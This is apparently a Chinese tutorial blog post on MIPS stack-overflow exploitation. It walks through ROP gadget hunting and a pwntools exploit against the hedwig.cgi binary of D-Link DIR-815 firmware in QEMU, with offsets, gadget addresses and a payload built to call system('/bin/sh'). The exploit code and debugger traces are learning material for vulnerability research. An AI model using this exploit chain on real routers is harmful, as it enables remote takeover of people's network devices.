路由器漏洞利用
0x0 背景知识
1.MIPS指令集合
MIPS 指令集主要使用在一些嵌入式的 IOT 设备中,比如路由器,摄像头。要对这些设备进行二进制的漏洞挖掘就需要有对 MIPS 有一定的熟悉。MIPS 指令集的栈溢出与 x86 指令集的有所不同,所以漏洞的利用方式也不太相同,但是溢出的思路是一样的:覆盖返回地址、劫持程序控制流、构造 ROP chain 、写 shellcode 等等。本文介绍一下最基本的 MIPS 指令集下的栈溢出的利用方法。
2.x86 和 MIPS 指令集的差异
1.MIPS 指令系统大量使用寄存器,包括返回地址也是存放在 ra 寄存器中
2.没有堆栈直接操作的指令,也就是没有 push 和 pop 指令
3.所有指令都是 32 位编码,也就是说所有的数据和指令都是 4 字节对齐。
由于 MIPS 固定指令长度,所以造成其编译后的二进制文件和内存占用空间比 x86 的要大
MIPS 指令集使用 uclibc C 标准库,x86 使用 libc 的 C 标准库
基本的指令用法和两者的差异可以参考这里:
https://blog.csdn.net/gujing001/article/details/8476685
3.MIPS 的动态调试
在 qemu 上开启一个调试端口(-g 指定端口号),在 IDA 上使用 Remote GDB debugger,填上端口号和主机名即可
./qemu-mipsel -g 23946 xxxx
具体的步骤可以看这里
https://www.jianshu.com/p/9841b412af37
- 也可以使用 gdb 进行调试,但是 gdb 需要使用专门支持 mips 指令集的 gdb 版本
4. 叶子函数和非叶子函数
叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性照成了对栈溢出利用方式的差异。在某个函数中,如果这个函数不调用其他函数,那么就这个称为叶子函数。反则这个函数就是非叶子函数。叶子函数的返回地址是直接在ra寄存器中,而非叶子函数的返回地址会先保存在栈上。
- 非叶子函数,有 sw $ra,xxx 的操作,在函数退出时,会将存放在栈上的原来存放 ra 寄存器的值重新赋值到 ra 寄存器中。
- 叶子函数,没有 sw $ra,xxx 的操作。
5. 寻找ROP链
在 IDA 中寻找并构造 ROP chain 是使用 mipsrop.py 这个脚本来辅助 查找的(本来只支持IDA 6.8版本,大佬已经更新到了ida7.0的api,我在mac上的ida 7.0亲测用。使用方法是直接吧py文件复制到plugins文件夹下即可):
https://github.com/devttys0/ida/tree/master/plugins/mipsrop
- 这里也可以直接使用做pwn题目经常使用的ROPgadget
使用:
mipsrop.stackfinder() 寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 寻找命令执行的的rop
mipsrop.find(xxx) 查找 find 函数参数的 rop,类似正则匹配
0x1 例子分析
1. 源码
这里选择下面一个书中的例子说明下mips架构下rop的使用:
- 很明显漏洞在main函数中,是一个栈溢出
- 需要控制do_system_0函数的第二个参数cmd,也就是要控制a1寄存器
- main函数是非叶子函数,因此其返回地址存储在栈上,因此可以溢出覆盖返回地址,劫持控制流/
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system_0(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}
使用 mipsrop.stackfinder() 命令来找找看
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00417990 | addiu $a3,$sp,0x18 | jr 0x24($sp) |
| 0x00417FF0 | addiu $a2,$sp,0x18 | jr 0x24($sp) |
| 0x004185F4 | addiu $a2,$sp,0x18 | jr 0x24($sp) |
----------------------------------------------------------------------------------------------------------------
Found 3 matching gadgets
- 结果找到一个将栈上的数据保存到a1中的gadget,以及一个控制流跳转指令
2. exp分析
python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd
- 'a' * 0x108 在 main 函数的栈空间填充到返回地址
- 'x00x40x1Dx40' ROP chain 的地址
- 'b' * 24 填充为 do_system_0 的第一个参数
- x2fx62x69x6e'+'x2fx73x68x00' /bin/sh 字符串
- 'c'*0x34 填充
- 'x00x40x03x90' 填充返回地址,调用 do_system_0 函数
https://www.anquanke.com/post/id/169689
将这个程序运行起来,会读取 passwd 中的内容填充到程序的栈空间中,这样就可以得到 shell
0x3 利用练习
gdb+qumu调试
在《揭秘家用路由0day漏洞挖掘》一书中使用的调试方式是使用ida pro,远程attach到qemu自带的gdbserver中实现调试,这里给出使用gdb+qumu的调试方法
- 启动路由器固件的运行脚本如下所示,这里使用了书中第一个栈溢出的例子。
#!/bin/sh
#sudo ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x600"`
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
cp $(which qemu-mipsel) ./qemu
echo "$INPUT" | sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE="$TEST" -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
echo "run ok"
rm -f ./qemu
-
这里有几点需要注意一下:
-
运行的时候由于ubutu默认的shell解释器是dash,但是书中给出的脚本的语法是bash的,因此运行的时候制定使用bash作为解释器运行
-
使用qemu -g的选项是指定gdb server的端口
-
启动gdb进行链接:
由于ubuntu自带的gdb只支持x86和x64架构的,因此需要下载支持mips架构调试的gdb,这里可以直接使用如下命令进行安装:
$ sudo apt-get install gdb-multiarch
下载安装完成后运行, 使用 target remote localhost:1234
指定远程调试的ip和端口:
$ gdb-multiarch ./hedwig.cgi
(gdb) set arch mips
The target architecture is assumed to be mips
(gdb) set endian little
The target is assumed to be little endian
(gdb) target remote localhost:1234
Remote debugging using localhost:1234
-
这里有一个问题就是我在链接qemu的gdbserver的时候,报错Remote ‘g’ packet reply is too long
,网上查了相关资料说是因为 qemu 修改了部分gdbserver的源码,返回的信息长度不一致,需要做如下修改并重新编译,具体可以参考链接 https://blog.csdn.net/u013592097/article/details/70549657 ,但是我按照说明重新编译了下,但是安装失败了,而且再次打开 gdb-multiarch 注意到提示This GDB was configured as "x86_64-linux-gnu".
猜测应该不是上述问题。 -
补充: 出现上述的原因是因为gdb-multiarch的版本依然是只支持x86_64架构的版本,因此还是需要安装对应版本的gdb进行调试。
-
经过测试发现,如果要进行远程调试的话,需要使用 qemu-mipsel-static,参考链接为 https://xz.aliyun.com/t/3826
apt-get install qemu binfmt-support qemu-user-static
-
但是会出现下面的错误:
# bash ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x405+'BBBB'"` qemu: /build/qemu-vx6Pwx/qemu-2.11+dfsg/accel/tcg/translate-all.c:2114: page_check_range: Assertion `start < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)' failed. qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x60166552 run ok
-
原因是使用的插件在和远程gdbserver交互的过程中出错了,这里我尝试了 gef、pwndbg 、gef三个插件都不行,只能直接使用gdb命令。(或许还是因为gdbserver和gdb版本对应不上。。。。i_i), 艰难的使用了一下原版gdb,放弃。。。。
(gdb) frame 0
#0 0x00409680 in hedwigcgi_main ()
(gdb) info frame
Stack level 0, frame at 0x7fffed30:
pc = 0x409680 in hedwigcgi_main; saved pc = 0x7f78ff00
called by frame at 0x7fffede0
Arglist at 0x7fffed30, args:
Locals at 0x7fffed30, Previous frame's sp is 0x7fffed30
Saved registers:
s0 at 0x7fffed08, s1 at 0x7fffed0c, s2 at 0x7fffed10, s3 at 0x7fffed14, s4 at 0x7fffed18, s5 at 0x7fffed1c, s6 at 0x7fffed20,
s7 at 0x7fffed24, gp at 0x7fffe858, s8 at 0x7fffed28, ra at 0x7fffed2c, pc at 0x7fffed2c
(gdb)
D-LINK 815 路由器调试
-
使用本节中给出的脚本,运行后使用ida附加调试,在409680处设置断点,运行后单步调试,观察寄存器的变化,当程序运行到 0x0409A54 的位置后,观察到其中所存储的数据均变成了AAAAAA字符串,可见确实存在溢出。
-
计算栈溢出位置到栈上存储的ra位置偏移:
ra 位置7FFFE93C A起始位置 7FFFE537 偏移为0x405(pid=1234的时候) 7FFFE4F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7FFFE500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7FFFE510 00 00 00 00 00 00 00 00 2F 72 75 6E 74 69 6D 65 ......../runtime 7FFFE520 2F 73 65 73 73 69 6F 6E 2F 31 32 33 34 26 70 61 /session/1234&pa 7FFFE530 73 73 77 6F 72 64 3D 41 41 41 41 41 41 41 41 41 ssword=AAAAAAAAA 7FFFE540 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 7FFFE550 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 7FFFE560 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 7FFFE514 00000000 MEMORY:dword_0 7FFFE518 6E75722F MEMORY:6E75722F 7FFFE51C 656D6974 MEMORY:656D6974 7FFFE520 7365732F MEMORY:7365732F 7FFFE524 6E6F6973 MEMORY:6E6F6973 7FFFE528 3332312F MEMORY:3332312F 7FFFE52C 61702634 MEMORY:61702634 7FFFE530 6F777373 MEMORY:6F777373 7FFFE534 413D6472 MEMORY:413D6472 7FFFE538 41414141 MEMORY:41414141 7FFFE53C 41414141 MEMORY:41414141 7FFFE540 41414141 MEMORY:41414141
-
根据函数的执行流程,会去尝试打开 /var/tmp/temp.xml ,但是提取出来的固件文件系统中没有这个文件,由于手头并没有实际路由器,这里利用过程按照模拟环境处理。
栈溢出利用
- 利用的思路和x86架构下类似,主要分为以下几个步骤:
-
寻找栈偏移,劫持程序控制流域。
-
执行 system(“/bin/shx00”),这里的参数可以使用 mipsrop.stackfinder() 的 gadget 来把 “/bin/shx00” 传到栈上。之后将这个栈的位置传入 a0 寄存器,这样就达到了利用的目的。
- 这里有几点需要注意下:
- system 函数的位置,在 0x00053200 处,显然地址的最低位是坏字节,没办法直接传入
- 根据《揭秘家用路由器0day漏洞挖掘技术》书中的方法先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将地址恢复到 0x53200。
- ROP链如下:
- 将s0寄存器的位置写为 system_addr - 1
- 将s0寄存器+1
- 寻找栈操作的相关gadget(mov a0,stack_addr) stack_addr 储存了执行shell命令的字符串
- call system
根据以上思路:
-
首先根据上述计算出的偏移0x405,进行验证,使用如下命令启动脚本:
-
bash ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x405+'BBBB'"`
可以得到如下结果,已经能够成功控制程序的控制流:
7FFFED10 41414141 MEMORY:41414141 7FFFED14 41414141 MEMORY:41414141 7FFFED18 41414141 MEMORY:41414141 7FFFED1C 41414141 MEMORY:41414141 7FFFED20 41414141 MEMORY:41414141 7FFFED24 41414141 MEMORY:41414141 7FFFED28 41414141 MEMORY:41414141 7FFFED2C 42424242 MEMORY:42424242 7FFFED30 736F702F MEMORY:736F702F 7FFFED34 6C6D7874 MEMORY:6C6D7874 7FFFED38 7F7E9300 MEMORY:7F7E9300
-
寻找 s0 + 1的gadget,这里在用7.0版本的ida的mipsrop插件的时候报错了,尝试修复失败,根据书中地址,手动找到了一个地址为0x000158D0的gadget:
.text:000158C8 .text:000158C8 loc_158C8: # CODE XREF: sub_157DC+B0↑j .text:000158C8 move $t9, $s5 .text:000158CC jalr $t9 .text:000158D0 addiu $s0, 1 ///////// .text:000158D4 sb $s7, 0($v0) .text:000158D8 lw $a1, 0($s2) .text:000158DC addiu $a0, $v0, 1 .text:000158E0 move $t9, $s5 .text:000158E4 jalr $t9 ///////// 相当于jalr,$s5 .text:000158E8 move $a2, $s4 .text:000158EC lw $gp, 0x40+var_30($sp) .text:000158F0 la $t9, free .text:000158F4 jalr $t9 ; free .text:000158F8 lw $a0, 0($s2) .text:000158FC lw $gp, 0x40+var_30($sp) .text:00015900 sw $s1, 0($s2)
-
接下来寻找传递参数的的gadget,这里选用0x159CC处的gadget:
| 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 | .text:000159CC addiu $s5, $sp, 0x170+var_160 .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; mempcpy .text:000159E0 move $a0, $s5 .text:000159E4 lw $gp, 0x170+var_160($fp) .text:000159E8 move $a0, $v0
也就是先吧 sp+10处的值传递到 s5寄存器,最后将 s5 寄存器中当作参数传递给 a0,这里执行的是
jalr $t9 ;
因此,我们只需要提前把 s0 设置为system函数的地址,最后实际上执行的就是 system函数。
常见 mips 反汇编跳转指令
li $a0,1 | li,即加载立即数到寄存器中 |
---|---|
jr和jal | jr 跳转到寄存器。jal会把下一条指令存储在ra寄存器中 |
jal、jalr:这两条指令分别实现了直接和间接子程序调用。在跳转到指定地址实现子程序调用的同时,需要将返回地址(当前指令地址+8)保存到 ra($31)寄存器中。为什么是当前指令地址加8呢?这是因为紧随跳转指令之后有一条立即执行的延迟槽指令(例如nop占位指令),加8刚好是延迟槽后面的那条有效指令。从子程序返回是通过寄存器跳转完成,通常调用 jr ra。
寻找动态链接库的实际地址
由于我这里gdb的插件不能用,尝试手动cat相关地址:
nevv@ubuntu:~/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo cat /proc/9425/maps
[sudo] password for nevv:
60000000-602ee000 r-xp 00000000 08:01 806503 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
604ee000-6054a000 rw-p 002ee000 08:01 806503 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
6054a000-60561000 rw-p 00000000 00:00 0
60561000-6255f000 rwxp 00000000 00:00 0
6255f000-62560000 ---p 00000000 00:00 0
62560000-6257d000 rw-p 00000000 00:00 0
63099000-63100000 rw-p 00000000 00:00 0 [heap]
7f09345e1000-7f09349e1000 ---p 00000000 00:00 0
7f09349e1000-7f09349fd000 r-xp 00000000 08:01 840193 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
7f09349fd000-7f0934a0d000 ---p 00000000 00:00 0
7f0934a0d000-7f0934a0e000 rw-p 0001c000 08:01 840193 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
7f0934a0e000-7f0934a11000 rw-p 00000000 00:00 0
7f0934a11000-7f09b3d19000 ---p 00000000 00:00 0
7f09b3d19000-7f09b3d77000 r-xp 00000000 08:01 840894 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d77000-7f09b3d86000 ---p 00000000 00:00 0
7f09b3d86000-7f09b3d87000 r--p 0005d000 08:01 840894 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d87000-7f09b3d88000 rw-p 0005e000 08:01 840894 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d88000-7f09b3d8d000 rw-p 00000000 00:00 0
7f09b3d8d000-7f09b3d8e000 ---p 00000000 00:00 0
7f09b3d8e000-7f09b3db7000 r-xp 00000000 08:01 840874 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
7f09b3db7000-7f09b3dc7000 ---p 00000000 00:00 0
7f09b3dc7000-7f09b3dc8000 rw-p 00029000 08:01 840874 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
7f09b3dc8000-7f09b3dc9000 ---p 00000000 00:00 0
7f09b3dc9000-7f09b3dca000 rw-p 00000000 00:00 0
7f09b3dca000-7f09b3dcf000 r-xp 00000000 08:01 840866 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3dcf000-7f09b3dde000 ---p 00000000 00:00 0
7f09b3dde000-7f09b3ddf000 r--p 00004000 08:01 840866 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3ddf000-7f09b3de0000 rw-p 00005000 08:01 840866 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3de0000-7f09b3de1000 ---p 00000000 00:00 0
7f09b3de1000-7f09b4662000 rw-p 00000000 00:00 0
7f09b4662000-7f09b4663000 ---p 00000000 00:00 0
7f09b4663000-7f09b4e63000 rw-p 00000000 00:00 0
7ffda09b3000-7ffda09d5000 rw-p 00000000 00:00 0 [stack]
7ffda09e8000-7ffda09eb000 r--p 00000000 00:00 0 [vvar]
7ffda09eb000-7ffda09ed000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
但是由于程序是qemu仿真执行的,因此cat出来的地址并不是程序的真实地址,只能想一想曲线救国的办法,使用残缺功能的gdb:
(gdb) p system
$6 = {<text variable, no debug info>} 0x7f78b200 <system>
而 system 函数在动态链接库中的偏移是 0x53200 ,因此可以计算出libc的实际地址是 0x7f738000,并且每次运行时地址均不变,原因是什么安全检查都没开(—_—):
$ checksec cgibin
[*] Checking for new versions of pwntools
[*] Checking for new versions of pwntools
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
exp
from pwn import *
context.endian="little"
context.arch="mips"
base_addr = 0x7f738000
system_addr_1 = 0x53200-1
rop1 = 0x000158c8 # addiu $s0 ,1 | jalr $s5 ->save_to ret address
rop2 = 0x159CC # addiu $s5,$sp,0x170+var_160 | jalr $s0 | save_to_s5
padding = 'uid=1234&password=' + 'a' * (0x405-9*4)
padding += p32(base_addr + system_addr_1) # s0
padding += 'a' * 4 # s1
padding += 'a' * 4 # s2
padding += 'a' * 4 # s3
padding += 'a' * 4 # s4
padding += p32(base_addr+rop2) # s5
padding += 'a' * 4 # s6
padding += 'a' * 4 # s7
padding += 'a' * 4 # fp
padding += p32(base_addr + rop1) # ra
#------------------------- stack 2 ---------------------------
padding += 'b' * 0x10
padding += '/bin//sh'
with open("call_system_padding",'wb') as f:
f.write(padding)
f.close()
我在本地执行的过程中,确并没有get到shell,gdb调试:
当执行到0x7f74d9dc:
0x7f74d9cc: addiu s5,sp,16
0x7f74d9d0: move a1,s3
0x7f74d9d4: move a2,s1
0x7f74d9d8: move t9,s0
0x7f74d9dc: jalr t9
0x7f74d9e0: move a0,s5
可以看到:
(gdb) p $t9
$9 = 2138616320
(gdb) p system
$10 = {<text variable, no debug info>} 0x7f78b200 <system>
(gdb)
>>> hex(2138616320)
'0x7f78b200'
确实调用了system函数,但是参数似乎有点问题:
(gdb) x /s $s5
0x7fffed10: "/bin//sh/postxml"
直接在system函数位置下断点:
Breakpoint 4, 0x7f74d9dc in ?? () from ./lib/libc.so.0
(gdb) c
Continuing.
Breakpoint 5, 0x7f78b200 in system () from ./lib/libc.so.0
(gdb) x /s $a0
0x7fffed00: "/bin/sh/postxml"
尝试了几种方法进行截断都不行。或许是姿势不对?0.0
网友评论